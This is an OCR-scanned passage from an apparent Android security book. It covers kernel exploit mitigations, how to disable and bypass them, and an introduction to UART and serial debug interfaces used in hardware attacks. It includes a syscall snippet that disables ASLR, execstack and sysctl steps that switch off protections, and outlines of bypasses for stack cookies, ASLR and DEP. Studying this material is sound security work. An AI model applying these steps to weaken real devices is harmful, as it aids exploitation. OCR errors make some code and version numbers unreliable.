have support for this feature, though they may not enable it. Commits 2e7¢ 833 
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and f 9557f b landed on AOSP in November 2011. These changes set the values 
ofkptr_restrict anddmesg_restrict to2 and 1, respectively, in the default 
init.rc file. Android 4.1.1 was the first release to ship with these changes. 


kee More information about these and other settings is available in the Linux 
kernel documentation located inDocumentation/sysctl/kernel.txt inthe 
kernel source tree. 


Protecting the Zero Page 


One class of issues that has plagued kernel code is null pointer dereferences. 
Normally nothing is mapped at the lowest addresses (0x00000000) on a Linux 
system. However, prior to Eric Paris introducing the implementation of mma p_ 
mi n_addr in 2007, it was possible to intentionally map this page in user-space. 
After mapping it, an attacker could fill this area of memory with contents of 
their choosing. Triggering null pointer-related issues in kernel-space code then 
ends up using attacker-controlled content. In many cases, this led to arbitrary 
kernel-space code execution. 

This protection works simply by preventing user-space processes from map- 
ping pages of memory below a specified threshold. The default value for this 
setting (4096) prevents mapping the lowest page. Most modern operating systems 
raise this value to something higher. 

This protection was introduced in Linux 2.6.23. The official documentation 
states that this protection was first included in Android 2.3. However, test- 
ing against a pool of devices reveals that it was present on devices running 
versions of Android as early as 2.1. In December 2011, commit 27¢¢a21 increased 
the value to 32768 in the defaulti nit. rc file. Android 4.1.1 was the first release 
to include this commit. 


Read-Only Memory Regions 


Exploiting a Linux kernel vulnerability usually hinges around modifying a 
function pointer, data structure, or the kernel code itself. To limit the success 
of this type of attack, some Android devices protect areas of kernel memory by 
making them read only. Unfortunately, only devices based on the Qualcomm 
MSM System-on-Chip (SoC), such as the Nexus 4, enforce memory protections 
this way. 

Larry Bassel introduced the CONF! G_STRI CT_MEMORY_RWX kernel configuration 
option into the MSM kernel source in February 2011. Consider the following 
excerpt from arch/ ar m/ mm/ mmu.c in the ms m kernel tree. 


#ifdef CONFIG STRICT_MEMORY_ RWX 
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map.pfn = __phys_to_pfn(__pa(__start_rodata)); 
map.virtual = (unsigned long)__start_rodata; 
map.length = __init_begin - __start_rodata; 
map.type = MT_MEMORY_R 


create _mapping(&map, false) 
#else 
map.length = end - start; 


map.type = MT_MEMORY 
#endi f 


When CONFI G_STRICT_MEMORY_RWX is enabled, the kernel uses the MT_MEMORY_R 
memory type when creating the region for read-only data. Using this setting 
causes the hardware to prevent writes to the memory region. 

This protection comes with some drawbacks, though. First, splitting the 
kernel into several sections causes some minor memory waste. If the sections 
are less than 1 megabyte (MB), the remaining space is wasted. Second, caching 
performance is slightly degraded. Third, preventing writes to the kernel code 
complicates debugging. When debugging the kernel, it’s common to insert 
breakpoint instructions into the code. The problem is that the tools used for 
debugging the kernel do not support operating with a read-only kernel code 
segment. 


Other Hardening Measures 


In addition to the exploit mitigations described earlier, various stakeholders 
in the Android ecosystem have implemented further hardening measures. 
The official Android teams and original equipment manufacturers (OEMs) 
have made incremental improvements to the operating system, often in direct 
response to publicly available exploits. Although some of these changes do 
prevent exploitation, others simply put a stop to public exploits. That is, they 
only prevent a particular action used by exploits from succeeding. Often the 
action is nonessential and can be trivially worked around by an attacker. Even 
in the less-effective cases, these changes improve the overall security posture 
of the Android operating system. 

Samsung made several changes to the customized version of Android that 
runs on their devices. As previously mentioned, Samsung also implemented 
SELinux on the Galaxy S4. For some devices, including the Galaxy S2 and 83, 
Samsung modified its adbd binary to always drop privileges. Doing so causes 
exploits that (ab)use flags set in the bui I d. prop and | ocal. prop to obtain root 
privileges to fail. To do this, Samsung simply disabled the ALLOW_ADBD_ ROOT 
compile-time flag, which is defined insystem/core/adb/adb.c in the AOSP 
tree. With the release of the Galaxy S4, Samsung also modified its Linux kernel 
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to include a compile-time kernel option called CONFI G_SEC_RESTRICT_SETUID. 
This option is designed to prevent code from elevating from non-root to root. 
In all but a few specific situations, passing the root user ID (0) to thes et ui d and 
setgid family of functions causes the kernel to return an error, thereby block- 
ing elevation. The Galaxy S4 also includes a kernel option called CONF! G_SEC_ 
RESTRI CT_FORK. For one, this restriction prevents the root user from executing 
programs under the / dat a/ directory. Further, it prevents non-root processes 
from executing processes with root privileges. 

Other OEMs have also implemented some custom hardening measures. One 
well-known HTC measure is the NAND lock feature, often called S-ON. This 
feature prevents writing to certain areas of flash memory, even if the partition 
has been mounted in read-write mode. Doing this prevents exploits from modi- 
fying the/ s ys t em partition data without circumventing the NAND protection. 
Toshiba included a kernel module called seal i me. ko on one of its devices. As 
discussed previously, that module implemented several SELinux-like restrictions. 

During development, the official Android teams, spearheaded by Nick 
Kralevich, made several incremental improvements to harden core operating sys- 
tem components. In particular, the 4.0.4, 4.1, and 4.2.2 releases introduced changes 
to make exploiting certain issues more difficult, or in some cases impossible. 

As of the release of 4.0.4, thei ni t program in Android no longer follows sym- 
bolic links when processing the chmod, chown, or mkdir actions inaninit.rc. 
Commits 4229349 and 9ed1f e7 inthesystem/core/init repository introduced 
this change. This change prevents using symbolic links to exploit file system 
vulnerabilities in i ni t scripts. One such issue is presented as an example in 
Chapter 3. 

The release of Android 4.1 brought changes to logging and u mas k functional- 
ity. First, this release removed the ability for third-party apps to make use of 
the READ_LOGS permission. This prevents rogue applications from obtaining 
potentially sensitive information that is logged by another application. For 
example, if a banking app sloppily logged a user’s password, a rogue app could 
potentially obtain the credentials and relay them back to an attacker. With 4.1 
and later, apps can see only their own log data. Second, the default u mas k value 
was changed. This setting specifies the permissions of files and directories when 
they are created without explicitly providing permissions. Prior to this release, 
the default value was 0000, which causes files and directories to be writable by 
any user (any app) on the system. With this release, the value was changed to 
0077, which limits access to the user that creates the file. Both of these changes 
improve the overall security posture of Android devices. 


| WARNING | A specific exception was made for ADB when modifying the default 
umask setting. As a result, ADB still creates files with permissive permissions. Take 
extra care when creating files using ADB. 
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Android 4.2 also included a couple of changes that improved security. First, 
Google changed the default behavior of the exported attribute of Content Providers 
for apps that target application programming interface (API) level 17 or higher. 
That is, they changed how Android handles an app that doesn’t explicitly set 
this property. Prior to this release, all Content Providers were accessible by other 
apps by default. After, app developers need to explicitly set the property if they 
want to expose their Content Provider to other apps. Second, the SecureRandom 
class was updated to make its output less predictable when using an initial 
seed value. One of the Secur eRandom class constructors accepts a seed value 
parameter. Before this change, using this constructor would yield an object 
that produced deterministic random values. That is, creating two such objects 
with the same seed would produce the same stream of random numbers. After 
the change, it will not. 

Most recently, Android 4.2.2 hardened developer access using ADB. In 2012, 
researchers Robert Rowley and Kyle Osborn brought attention to attacks that 
allowed data theft using ADB. Although such attacks require physical access, 
they can be quickly and easily performed in two ways. First, in an attack called 
Juice Jacking, an attacker uses a custom mobile charging station to lure unsus- 
pecting users to plug in their devices. Second, an attacker uses nothing but 
her own phone and a special micro Universal Serial Bus (USB) cable to steal 
data from another user’s device. To address these attacks, Google switched on 
a setting called r o. adb. secure. When enabled, this feature requires a user to 
manually approve machines that attempt to access the device via ADB. Figure 
12-1 shows the prompt presented to the user. 


The computer's RSA key fingerprint is: 


51:CF:2E:2C:9A:A1:13:1 D:E7:A9:3F:55:CA:65:02:C5 


Always allow from this computer 


Cancel 


Figure 12-1: ADB whitelisting 


When connecting, the host machine presents its RSA, named after its inventors 
Ron Rivest, Adi Shamir, and Leonard Adleman, key to the device. A fingerprint of 
this key is shown to the user. The user can also choose to store the host machine’s 
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key to prevent being prompted in the future. This feature both mitigates Kyle’s 
attack and prevents data from being accessed on a lost or stolen device. 

It is important to note that the hardening measures discussed in this section 
do not represent an exhaustive list. There are likely many more such improve- 
ments waiting to be discovered, including some that may be implemented 
during the writing of this book. 


Summary of Exploit Mitigations 


When Android was first released, it included fewer exploit mitigations than 
most other Linux systems. This is somewhat surprising because Linux has tra- 
ditionally led the way and served as the proving ground for many mitigation 
techniques. As Linux was ported to ARM, little attention was given to supporting 
these mitigations. As Android became more popular, its security team increased 
exploit mitigation coverage to protect the ecosystem. As of Jelly Bean, Android 
implements most modern exploit mitigations, with promises of more to come. 
Table 12-1 depicts a timeline of the officially supported mitigations in Android. 


Table 12-1: History of Core Android Mitigation Support 


VERSION MITIGATION(S) INTRODUCED 


1.5 Disabled %n format specifier in Bionic 


Binaries compiled with stack cookies ¢ fstack- protector) 


Included thes af e_i op library 


Included enhanced d| mal | oc 


Implemented ¢ al | oc integer overflow check 


Supported XN in the kernel 


2.3 Binaries compiled with non-executable stack and heap 


Official documentation states mma p_ mi n_addr added 


Binaries compiled with - Wf or mat -security 
-Werror=format-security 


4.0 Randomized stack addresses 


Randomized mma p (libraries, anon mappings) addresses 


4.0.2 Randomized heap addresses 
4.0.4 Changedchown,chmod,mkdir touseNOFOLLOW 
4.1 Changed default u ma s k to 0077 


Restricted READ_LOGS 


Randomized linker segment addresses 
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VERSION MITIGATION(S) INTRODUCED 


Binaries compiled using RELRO and BI ND_ NOW 


Binaries compiled using P| E 


Enableddmesg_restrict andkptr_restrict 


Introduced Isolated Services 


41.1 Increasedmmap_ min addr to 32768 


4.2 Content providers no longer exported by default 


Made seeded SecureRandom objects non-deterministic 
Implemented use of FORTIFY SOURCE =1 
4.2.2 Enabledro. adb. secure by default 


4.3 Includes SELinux in per mi ssi ve mode 


Removed all set-uid and set-gid programs 


Prevented Apps from executing set-uid programs 


Implemented dropping Linux capabilities inz ygot e andadbd 


44 Includes SELinux in enforcing mode 
Implemented use of F ORTI FY SOURCE =2 


In addition to implementing mitigation techniques in the operating system 
itself, it is also important to do so in the Android NDK. Table 12-2 depicts a 
timeline of when the various compiler-supported mitigations were enabled by 
default in the Android NDK. 


Table 12-2: History of Android NDK Mitigation Support 


VERSION MITIGATION(S) INTRODUCED 


1 Binaries compiled with stack cookies ( f stack- protector) 
4b Binaries compiled with non-executable stack and heap 

8b Binaries compiled using REL RO and BI ND_ NOW 

8c Binaries compiled using PIE 

9 Binaries compiled with- Wf or mat -security 


-Werror=format-security 


Disabling Mitigation Features 


It is occasionally useful to disable mitigations temporarily while developing 
exploits or simply experimenting. Although some mitigations can be disabled 
easily, some cannot. This section discusses the ways that each protection can 
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be disabled intentionally. Take care when disabling system-wide mitigations 
on a device used for everyday tasks because doing so makes the device easier 
to compromise. 


Changing Your Personality 


The first, and most flexible, way to disable mitigations is to use the Linux 
personality system call. Theset arch program is one way to invoke this func- 
tionality. This program is designed to allow disabling randomization, execution 
protection, and several other flags on a per-process basis. Current versions of 
the GNU Debugger (GDB) have a di sabl e- randomization setting (enabled by 
default) that uses the personality system call. Although modern Linux kernels 
allow disabling randomization, they do not allow enabling the ability to map 
memory at address zero. Further, s et ar ch cannot disable execution protections 
on x86_64 machines. Before you get too excited, personality settings are also 
ignored when executing set-user-id programs. Fortunately, these protections 
can be disabled using other means, as shown later in this section. 

The personality system call function is not implemented in Android's Bionic 
C runtime library. Despite this fact, it is still supported by the underlying Linux 
kernel. Implementing your own version of this system call is straightforward, 
as shown in the following code excerpt: 


#include <sys/syscall.h> 
#include <linux/personality. h> 
#define SYS personality 136 /* ARM syscall number */ 


int persona; 


persona = syscall(SYS_personality, Oxffffffff); 
persona |= ADDR_NO_RANDOMI ZE; 
syscall (SYS_personality, persona); 


Here the code uses the personality system call to disable randomization for 
the process. The first call obtains the current personality setting. We then set 
the proper flag and execute the system call again to put our new persona into 
effect. You can find other supported flags in the |i nux/personality.h file 
included in the Android NDK. 


Altering Binaries 


As previously mentioned, some mitigation techniques are controlled by setting 
various flags within a particular program’s binary. Data execution prevention, 
binary base address randomization implemented with Position-independent 
executables (PIE), and read-only relocations depend on flags in the binary. 


Chapter 12 = Exploit Mitigations 


Unfortunately, disabling the PIE and relro mitigation techniques by modifying 
the binary appears to be non-trivial. Thankfully, though, you can disable PIE 
randomization with the personality system call discussed earlier, and you can 
disable data execution prevention using the execs tack program discussed previ- 
ously. The following excerpt shows how to disable non-executable protections. 


dev: ~/android $ cp cat-gn-takju cat-gn-takj u- CLEARED 
dev: ~/android $ execstack -s cat-gn-takju- CLEARED 
dev: ~/android $ readelf -a cat-gn-takju-CLEARED | grep GNU_STACK 
GNU_ STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RVE 0 


After executing these commands, the cat -gn-takj u- CLEARED binary will 
have executable stack, heap, and other memory regions. 


shell @android:/ $ /system/bin/cat /proc/self/maps | grep ' ..xp' | we -i 
9 

shell @android:/ $ cd /data/local/tmp 

shell @android:/data/local/tmp $ In -s cat-gn-takju-CLEARED cat 

shell @android:/data/local/tmp $ ./cat /proc/self/maps | grep ' ..xp ' | we -l 
32 


As you can see, the original binary has only 9 executable memory regions. 
The binary with the GNU_STACK flag cleared has 32. In fact, only 1 memory region 
is non-executable! 


Tweaking the Kernel 


Quite a few protections can be disabled system wide by tweaking the kernel’s 
configurable parameters, called sysctls. To do this, you simply write the new 
value for the various settings to the corresponding configuration entry in the 
proc file system. Zero page protections can be altered by writing a numeric 
value to/ proc/sys/vm/mmap_min_addr. A value of 0 disables the protection. 
Other numbers set the minimum address that can be successfully mapped by 
user-space programs. Kernel pointer restrictions can be configured by writing a 
0 (disabled), 1 (allow root), or 2 (deny all) to/ proc/sys/kernel/kptr_restrict. 
Kernel log restrictions can be disabled by writing 0 to/ proc/sys/kernel/ 
dmesg_restrict. Address space layout randomization can be controlled using 
/proc/sys/kernel/randomize_va_space. A value of 0 disables all randomiza- 
tion system wide. Setting this parameter to 1 randomizes all memory regions 
except the heap. Writing 2 tells the kernel to randomize all memory regions, 
including the heap. 

Although disabling mitigation techniques is useful when exploring, it is unwise 
to assume a target system is in a weakened state. Developing a successful attack 
often requires overcoming, or bypassing, mitigations instead. 
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Overcoming Exploit Mitigations 


As more and more mitigations have been introduced, exploit developers have 
had to adapt. When a new technique is published, security researchers rush to 
ponder ways to overcome it. By thinking outside the box and fully understand- 
ing each technique, they have been quite successful. Consequently, methods 
for circumventing heap hardening, stack buffer protections, execution protec- 
tions, ASLR, and other protections are widely available. A plethora of papers, 
presentations, slide decks, blogs, articles, exploit code, and so on document 
these techniques in great detail. Rather than document every possible bypass, 
this section briefly discusses techniques for overcoming stack cookies, ASLR, 
execution protections, and kernel mitigations. 


Overcoming Stack Protections 


Recall that stack protections work by placing and verifying cookie values in a 
function's stack frame. This protection has a few key weaknesses. First, com- 
pilers determine which functions receive stack cookies based on heuristics or 
manual intervention. To limit the effect on performance, a function that has no 
stack-stored buffers will not get a stack cookie. Also, functions with small arrays 
containing structures or unions may not be protected. Second, cookie values are 
only validated prior to a function returning. If an attacker manages to corrupt 
something on the stack that is used prior to this check, he may be able to avoid 
this protection. In the case of the zergRush exploit, the exploit developer was 
able to corrupt another local variable in the stack frame. The corrupted variable 
was then freed before the vulnerable function returned, leading to a use-after- 
free condition. Finally, if given enough attempts, attackers can correctly guess 
cookie values. Several corner cases make this type of attack easier, including low 
entropy or network services that f or k for each incoming connection. Although 
the stack buffer protection has prevented many issues from being exploited, it 
cannot prevent them all. 


Overcoming ASLR 


Although ASLR makes exploit development more challenging, several techniques 
exist for overcoming it. As previously mentioned, the easiest way to overcome 
ASLR is to utilize a memory region that is not randomized. In addition, attackers 
can use heap spraying to cause data under their control to be at a predictable 
location in memory. This issue is exacerbated by the limited address space of 
32-bit processors and is especially dangerous in the absence of data execution 
protections. 
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Next, attackers can take advantage of information leak vulnerabilities to 
determine a process's address space layout. This technique predates the ASLR 
mitigation itself, but has only become popular recently. 

Lastly, attackers can take advantage of the fact that randomization takes place 
when a process starts, but not when a program uses the f or k system call. When 
using f or k, the address space layout of the new process will be identical to that 
of the original. An example of this paradigm on Android is Zygote. Zygote’s 
design uses this technique to be able to launch apps, which have a large, shared, 
and prepopulated address space with very low overhead. Because of this fact, 
any Android application on a device can be used to leak memory addresses that 
can be subsequently used to execute a successful attack. For example, a mali- 
cious application could send memory address information to a remote website, 
which later uses that information to reliably exploit memory corruption in the 
Android browser. Despite being challenging to exploit developers, these and 
other methods remain viable for overcoming ASLR. 


Overcoming Data Execution Protections 


Although preventing data execution makes exploitation more difficult, its true 
potential was not fully realized until it was combined with full ASLR. Overcoming 
this protection typically relies on a memory region containing executable data 
living at a predictable address in the address space. In the absence of such 
a region, attackers can exploit information leakage issues to discover where 
executable code lives. Using Return-Oriented Programming (ROP), discussed 
further in Chapter 9, an attacker can piece together bits of code to achieve her 
goal. All things considered, this mitigation technique is only as strong as the 
ASLR it is paired with. 


Overcoming Kernel Protections 


Several kernel protection mechanisms are easily bypassed. Recall that k pt r_ 
restrict anddmesg restrict aim to hide sensitive information about the ker- 
nel’s address space from a local attacker. Also, remember that Android devices 
depend on a precompiled kernel embedded into the boot partition. Without 
kernel-level ASLR, discovering the kernel address of key functions and data 
structures is as easy as obtaining and inspecting the kernel image for the target 
device. Anyone can get such an image by simply extracting it from a factory 
image, over-the-air update, or a device in their possession. 

Even with kernel-level ASLR in place, this issue remains. There, an attacker 
could find key kernel objects by discovering the base address of the kernel and 
combining it with data from the kernel image. Finding the kernel base is believed 
to be easily accomplished using cache timing attacks. Although using a custom 
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kernel fixes this issue, it’s not a workable solution for all devices. Specifically, 
using a custom kernel isn’t possible on devices with locked boot loaders. That 
roadblock aside, most consumers don’t have the desire, time, or technical exper- 
tise to build a custom kernel. Predictable and easily obtainable kernel images 
make overcoming kernel address leak protections easy. 

Even in the face of all of the mitigation techniques deployed on modern sys- 
tems, attackers remain undeterred. Each mitigation technique, when considered 
alone, has weaknesses that are easily overcome. Even when combined, which 
truly makes attacks more difficult, attackers manage to find ways to achieve 
their goals. However, these mitigation techniques do increase costs, complicate 
matters, and even prevent many vulnerabilities from being leveraged at all. It’s 
likely that exploitation will become even harder in the future as new mitigation 
techniques are researched, developed, and deployed. 


Looking to the Future 


Although it is impossible to know exactly what the future holds, it is clear that 
the Android Security Team invests heavily in researching, developing, and 
deploying exploit mitigations. Several official projects already underway are 
likely to be included in a future Android release. Additional work on harden- 
ing ARM Linux, and even Android specifically, may eventually be adopted. 
Also, PC operating systems such as Linux and Windows include a variety of 
techniques that hold promise. Regardless of which mitigations are chosen for 
inclusion, it’s almost certain that additional exploit mitigations will be imple- 
mented in Android. 


Official Projects Underway 


While researching existing mitigation techniques on Android, we discov- 
ered a ticket that indicates Google may be investigating more granular sand- 
boxing. Although Android uses a form of sandboxing, it is quite coarse. The 
ticket, which you can find at https: //code. google. com/p/chromi um/issues/ 
detail ?id=166704, tracks the implementation of the seccomp-bpf sandbox 
on Android. This mechanism allows enabling and disabling kernel-provided 
functionality on a per-process basis. It’s already utilized on Chrome OS and 
the Chromium browser on Linux. It’s not clear whether this method will be 
deployed on Android. Even if it is deployed, it’s not clear if it will be used by 
Android itself or only by the Chrome for Android browser. 


Community Kernel Hardening Efforts 


Apart from official Google efforts, several community open source projects aim 
to further harden the Linux kernel. This includes a couple of projects within the 
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upstream Linux kernel itself and several from independent parties. It’s unclear 
whether these will ever make it into an official Android release, but they still 
serve as a possibility of what the future may bring. 

For the past few years, Kees Cook has been trying to get file system link pro- 
tections included in the official Linux kernel source. It was not until recently, 
with the release of Linux 3.6, that he finally achieved his goal. These protections 
are two-fold. First, symbolic links are checked to ensure that certain criteria are 
met. To quote Kees’s commit message: 


The solution is to permit symlinks to only be followed when outside a 
sticky world-writable directory, or when the uid of the symlink and follower 
match, or when the directory owner matches the symlink’s owner. 


Enforcing these restrictions prevents symbolic link attacks, including those 
exploited by several Android rooting tools. Second, unprivileged users can no 
longer create hard links to files that they do not own or cannot access. Together, 
these protections make exploiting several file-system based attacks impossible. 
Unfortunately, no Android devices ship with a 3.6 kernel at the time of this 
writing. Future devices that do will likely include and enable this protection. 

From time to time, talk about implementing kernel ASLR arises in the Linux 
kernel developer community. Modern operating systems such as Windows, Mac 
OS X, and iOS already utilize this technique. As previously mentioned in the 
“Overcoming Exploit Mitigations” section, this technique provides relatively 
little protection against local attacks. However, it will make remote attacks more 
difficult to execute successfully. It’s likely that this protection will be implemented 
in the upstream Linux kernel, and then later into Android devices. 

In the PC space, the newest mitigations include Intel’s hardware-based 
Supervisor Mode Access Protection (SMAP) and Supervisor Mode Execution 
Protection (SMEP) technologies. These technologies aim to prevent kernel-space 
code from accessing or executing data that lies in user-space. Modern ARM 
processors also include several features that can be used to implement similar 
protections. Brad Spengler, long-time kernel researcher and maintainer of the 
grsecurity project, developed and released several hardening patches for the 
ARM Linux kernel on his website. These include the UDEREF and PXN pro- 
tections, which are similar to SMAP and SMEP, respectively. Although these 
protections are interesting, there’s currently no indication that they will be 
deployed on future Android devices. 

One other effort deserves mention here. Subreption announced their Defense 
Advanced Research Projects Agency (DARPA)-sponsored SAFEDROID project 
in September 2012. The goals of that project include improving ASLR, harden- 
ing the kernel heap, and improving memory protections between kernel space 
and user space. These goals, although aggressive, are admirable. They would 
present a significant challenge to kernel exploitation. Unfortunately, the project 
does not appear to have come to fruition as of this writing. 
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A Bit of Speculation 


Aside from the projects mentioned previously, there are other hardening mea- 
sures that might be implemented. Code-signing enforcement is a technique used 
on iOS that has proven to be quite effective in hindering exploit development. 
Though adopting strict enforcement in Android would have a similar effect, it’s 
unlikely to be adopted because doing so would also negatively affect the open 
nature of the Android app development community. Although the saf e_i op 
library has been included since the beginning, Android’s use of the library is 
very sparse. Increasing the use of this library is a logical next step in hardening 
Android. Predicting the future of Android mitigations with absolute certainty 
is impossible. Only time will tell which, if any, additional mitigation techniques 
will make into Android. 


Summary 


This chapter explored the concept of exploit mitigations and how they apply 
to the Android operating system. It explained that implementing mitigation 
techniques requires changes to the hardware, Linux kernel, Bionic C library, 
compiler tool chain, or some combination of components. For each of the mitiga- 
tion techniques covered, background information, implementation goals, and 
Android history were covered. A summary table, detailing the history of miti- 
gations support in Android was presented. The chapter discussed methods for 
intentionally disabling and overcoming exploit mitigation techniques. Finally, 
it looked at what the future might hold for exploit mitigations on Android. 

The next chapter discusses attacks against the hardware of embedded sys- 
tems like Android devices. It examines the tools and techniques used to attack 
hardware and what is possible when such attacks are successful. 


Hardware Attacks 


The portability and versatility of Android across a diverse range of mobile 
hardware platforms has made it extremely successful in the mobile space, 
almost to the point of ubiquity. Its portability and flexibility is also one factor 
that’s pushing Android to become the operating system of choice for other 
kinds of embedded systems. Android is open, highly customizable, and is 
relatively easy for rapidly developing visually appealing user interfaces. This 
is especially true when compared to previous industry standard options, 
such as bare-bones embedded Linux and real-time or proprietary operating 
systems. As the new de facto standard for a variety of new kinds of embedded 
devices, Android is on e-readers, set-top entertainment systems, airline in-flight 
entertainment systems, “smart” televisions, climate control systems, and point- 
of-sale systems. (And that’s just to name a few that we've personally poked at.) 
With Android powering these kinds of devices, we'd be remiss to not at least 
address some simple techniques for attacking and reverse engineering these 
kinds of devices’ hardware. 

As an attack vector, physical access to hardware is generally viewed as “game 
over” and low threat from traditional risk and threat modeling perspective. 
However, in many cases “physical” techniques can be employed to perform 
vulnerability research that has greater impact. For example, consider a connection 
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to an unprotected debug port on a router or switch. With proper access, this 
would allow an attacker the freedom to find embedded encryption keys or 
remotely exploitable vulnerabilities. Physical access to the device also means 
that an attacker can remove chips to reverse engineer them. These results can 
have wider impact than the few devices that were sacrificed during the research. 
This chapter discusses some simple tools and techniques intended to lower the 
barrier to entry of hardware focused embedded device security research. With 
physical access to a target device you can use these simple techniques to either 
obtain the software it contains or to attack software via hardware interfaces. 
After you've vaulted the hardware hurdle, many software-based exploitation 
and reverse-engineering techniques apply again. This might include using a 
disassembler to hunt for vulnerabilities in the firmware or discovering a pro- 
prietary protocol parser for data arriving on a hardware interface like Universal 
Serial Bus (USB). These techniques are very simple and do not dive into hard- 
core electrical engineering topics. Although most of these techniques—such 
as debugging, bus monitoring, and device emulation—are relatively passive, a 
few are slightly more destructive to the target device. 


Interfacing with Hardware Devices 


The first thing you might want to do as a reverse engineer or vulnerability 
researcher is to enumerate the ways you can interface (on a physical level) with 
the target device. Are there any exposed interfaces on the device? Are there 
ports or receptacles for things like USB or memory cards? We’ll discuss some of 
these familiar interfaces later in this chapter, but for now this section discusses 
some of the things you might encounter after you pop open a device’s casing 
and are looking at its printed circuit board (PCB). Before we go into examples 
and test cases, the section describes a bit about the most common hardware 
interfaces found in devices. 


UART Serial Interfaces 


Universal Asynchronous Receiver/Transmitter (UART) interfaces are by far 
the most common interface for diagnostic and debug output from embedded 
devices. UART Serial interfaces may implement one of a handful of communica- 
tion standards (RS-232, RS-422, RS-485, EIA, and so on). These communication 
standards merely dictate details such as the characteristics of signals (i.e., what 
different signals mean — start transmitting, stop transmitting, reset the con- 
nection, and so on). These standards also dictate things like timing (i.e., how 
fast data should be transmitted) and in some cases the size and description of 
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connectors. If you want to learn more about the different flavors of UART, the 
Internet is a great source of these very old and well-documented standards. 
For now, however, the most relevant point is that these kinds of interfaces are 
extremely common in embedded devices. 

Why is UART so common? It offers a simple way to transfer data directly 
to and from controllers and microprocessors without needing to go through 
intermediary hardware that’s too complex to be cheaply included in a micropro- 
cessor. Figure 13-1 shows a UART interface that connects directly into a central 
processing unit (CPU). 


Control 
CPU Address 
Data 
8 
UART 
Rx TX 
Serial Data 


Figure 13-1: UART Serial directly connected to a CPU 


UART Serial interfaces long pre-dated dedicated video cards, keyboard/mice 
ports, and network interface cards as a primary way to interface with computers. 
Many of the earliest computer systems ran without a keyboard, mouse, moni- 
tor, or video output. Instead, the only control interface was a serial port that a 
user would connect to a dedicated “dumb terminal” (such as Wyse). For many 
years this was the most common way to access the command-line console of 
a computer: via a UART serial port. In fact, many modern Unix concepts stem 
from these early origins. For example, many Unix and Linux users are familiar 
with the concept of their terminals running on a TTY. This term itself is from 
an era when interfacing with Unix systems was done via a serial connection to 
a TeleTYpe Writer (hence the abbreviation TTY). 

UART serial interfaces can come in many different flavors but the simplest 
can be implemented with as little as three or four connecting wires. The simplic- 
ity of UART means it is a very cheap and lightweight to implement in a circuit 
design. As such, UART consoles can be found in virtually every embedded 
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system, often getting embedded directly into System-on-Chip (SoC) products 
created by original equipment manufacturers (OEMs). 

On embedded systems, such as set-top boxes, the video output is 
generally dedicated entirely to the high-level user interface. Additionally, devices 
like these may have limited user input, such as a dedicated remote. In these 
circumstances, a market-ready product leaves few options for lower-level debug 
functionality. Therefore, one can envision how developers might find a UART 
serial console (hidden within the device) extremely useful for debugging and 
diagnostics. Indeed many consumer-grade products leave these interfaces 
exposed and enabled. 


What Does an Exposed Serial Interface Mean? 


Whether you have the ability to directly interface with the embedded operating 
system (OS) using an exposed serial console or the ability to intercept, view, 
tamper with, or generate data on any of these intra-chip conversation paths, 
the effect is the same: more attack surface. As you read in Chapter 5, the size of 
a target’s attack surface is directly proportional to how much it interfaces with 
other systems, code, devices, users, and even its own hardware. Being aware of 
these interfaces broadens your understanding of the attack surface of a whole 
host of devices, and not just those running Android. 


Exposed UART on Android and Linux 


It is common in embedded Android-based systems to find exposed UART serial 
ports that (when properly connected) will allow console access directly to the 
underlying operating system. As discussed throughout this book, the common 
way to interface with Android is via Android Debug Bridge (ADB). However, 
it is quite common for Android-based embedded systems (that have exposed 
UART) to have been compiled with these kernel compile-time options: 


CONFI G_SERIAL_MSM 
CONFI G_SERIAL_MSM_ CONSOLE 


Then generally the boot loader, such as uBoot and X-Loader, will pass the 
kernel the serial port configuration options via a boot-time option such as the 
following: 


"console=ttyMSM2, 115200n8" 
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Wes, 


In this case, all “stdout,” “stderr,” and “debug” prints are routed to the serial 
console. If the device is running Android or standard Linux and | ogi n is in the 
boot sequence, a login prompt also generally appears here. 


kee These configuration settings are specifically for compiling Android ona 
Qualcomm MSM-based chipset, but the idea is the same across chipsets. 


With these interfaces, you can generally watch the device boot, print debug, 
and diagnostic messages (thinks ys! og or dmesg), or you can even interactively 
interface with the device via a command shell. Figure 13-2 shows the UART 
pins of a set-top box. 


Figure 13-2: Set-top box pinouts 


When connected to the appropriate pins on the circuit board, the few leads 
shown in Figure 13-2 could be used to access a root shell on the embedded 
Android operating system. The exact same technique, when applied to a popu- 
lar Broadcom-based cable modem, revealed a customized Real-time operating 
system. Although there was no interactive shell on the UART of the Broadcom, 
when services on the device’s Internet Protocol (IP) address were fuzzed, stack 
tracks displayed on the UART, which ultimately informed the exploitation 
process. The UART pins for this device are pictured in Figure 13-3. 
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Figure 13-3: Comcast Broadcom pinouts 


These are just two simple examples from our own research. This same vulner- 
ability, an unprotected UART, has been found on many more devices privately. 
The Internet is rife with blog posts and information security presentations based 
entirely on exposed UARTs, such as femtocell hacking, OpenWRT Linksys hacks, 
cable modem vulnerabilities, and satellite dish hacks. 

So how do you go about finding these hardware interfaces? How might you 
discover which pins do what? You will learn some simple techniques and tools 
for how to do this in the “Finding Debug Interfaces” section later in this chapter. 
First, though, you should have some background on the other types of interfaces 
you might also encounter so you can differentiate between them. 


I2C, SPI, and One-Wire Interfaces 


The aforementioned UART serial interfaces are generally used when a human 
needs to interactively interface with the machine. There are, however, even simpler 
serial protocols that can be found in virtually every embedded device. Unlike 
UART, these serial protocols arose out of a need for the integrated circuits (ICs or 
“chips”) in a given circuit to communicate with each other. These simple serial 
protocols can be implemented with very few pins (in some cases, just one pin!) 
and as such allow for circuit designers to simply form the equivalent of local 
area networks on the circuit board so that all the chips can speak to one another. 
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The most common of these simple serial protocols are I?C and SPI. ?C or I2C 
(pronounced “I squared C”) comes from its expanded abbreviation which is IIC 
(Inter-Integrated Circuit). SPI comes from Serial Peripheral Interface bus, and 
One-Wire (1-Wire) derives its name from the fact that it only requires one wire 
or one contact to provide power and the communication path. 

Before we continue discussing how ubiquitous and common these serial 
protocols are in ICs, it is important to point out that not every trace on a PCB 
between components can be assumed to be carrying serial data. Unfortunately, 
it is not that simple. Many ICs will also share data and interface with other ICs 
the old-fashioned way — by simply changing the state of a series of pins (high 
or low voltage relative to some fixed norm representing binary 1 or 0 respec- 
tively). Generally pins such as these are referred to as GPIO which stands for 
general purpose input/output. 

Some pins carry analog signals and some digital. So in those cases you would 
likely need to understand the protocol that the IC uses to communicate with the 
outside world. Generally, that can be found by simply reading the manual for 
that IC or by skimming through the specifications sheet for the pinouts. (This 
quickly gets into the realm of detailed electrical engineering, which is beyond 
